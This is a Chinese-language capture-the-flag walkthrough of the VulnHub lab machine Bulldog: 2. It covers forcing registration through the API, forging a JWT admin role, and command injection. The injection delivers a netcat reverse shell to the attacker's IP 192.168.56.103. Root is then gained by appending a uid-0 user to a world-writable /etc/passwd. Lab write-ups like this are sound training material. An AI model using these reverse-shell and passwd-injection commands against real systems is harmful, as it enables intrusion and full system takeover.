**
VulnHub-Bulldog: 2-Walkthrough
**
靶机地址:https://www.vulnhub.com/entry/bulldog-2,246/
靶机难度:中级(CTF)
靶机发布日期:2018年7月18日
靶机描述:
自Bulldog Industries遭受数次数据泄露以来已经过去了三年。在那时,他们已经恢复并重新命名为Bulldog.social,这是一家新兴的社交媒体公司。您可以接受这一新挑战并在他们的生产Web服务器上扎根吗?
这是标准的启动到根。您唯一的目标是进入根目录并查看祝贺消息,该如何操作取决于您!
难度:中级,有些事情您可能从未见过。仔细考虑所有问题:)
作者:大余
时间:2020-02-06
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
直接看到了IP:192.168.56.141 我就直接nmap了…
只开了80端口…65534是filtered…(好像以前做过类似的)
有登录页面…
安全原因,不允许注册…
上面测试了普通账号密码无法登录…
dirb和nikto也没发现什么有用的…继续浏览
点击进入user,发现这里面网站上每月使用量最高的用户…
前段源码发现很多js文件…一个一个查看得眼花,我还是对login页面进行分析吧…
前面看到无法注册用户,我使用burp suite来分析…
这边抓到了服务器提交请求的数据…
发现加了name和email后还是不行…
发现这里是authenticate,我改成注册的register…
还真成功了…说明可以注册的,登录看看…
我又注册了dayutest测试看看是否可以水平越权渗透…
发现只要是存在的用户,在链接中直接修改用户名,即可直接访问进去不需要密码…但是这没什么用…
再次登录界面登录dayu用户重新抓包,查看到服务器回包信息…
{“success”:true,“token”:"JWT…百度JWT:JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息…
这边知道了jwt的信息在下面…分析下…
可以看到有个auth_level的参数跟着standard_user,类似权限的意思…前面JS文件我记得有很多类似的信息…回去找下
查看此文件的内容后,发现master_admin_user具有最高的auth_level…
二、提权
重新抓包…
这里重新抓包后,读取到用户名密码后将数据包发送到Response to this request,然后Forward即可出现JWT值…
将standard_user改成master_admin_user即可…
可以看到yujun获得了admin权限…(垂直渗透成功)
发现可以输入账号密码,继续分析…
继续分析…
发送后发现,返回的是200 OK成功了,但是是错误的密码false…说明存在命令执行漏洞…
那就在密码处输入shell即可…试试…
命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 4444 >/tmp/f;
(上一张才刚用过此命令提权,嘿嘿)
成功获得低权…
命令:;ping 192.168.56.103 -c 4
命令:tcpdump -nni eth0 icmp
当利用ping测试账号的时候,无ICMP数据包返回,测试密码的时候,返回了ICMP数据包…说明密码区域可以执行反向shell…
然后注入个payload即可提权…
查看passwd,权限为777…
这里直接创建个root用户即可…前面章节也有遇到过类似的…
命令:perl -le 'print crypt("dayu","aa")'
命令:echo 'dayuroot:aaP.3CTQfJaLg:0:0:dayuroot:/root:/bin/bash' >>/etc/passwd
可以看到写入了dayuroot用户,成功登陆后获得roo权限…
这里使用openssl passwd -1 -salt user3/infosec (passwd) 可以生成哈希值,进行登陆…
这里熟悉命令注入攻击提权后就简单了…
由于我们已经成功得到root权限查看flag,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。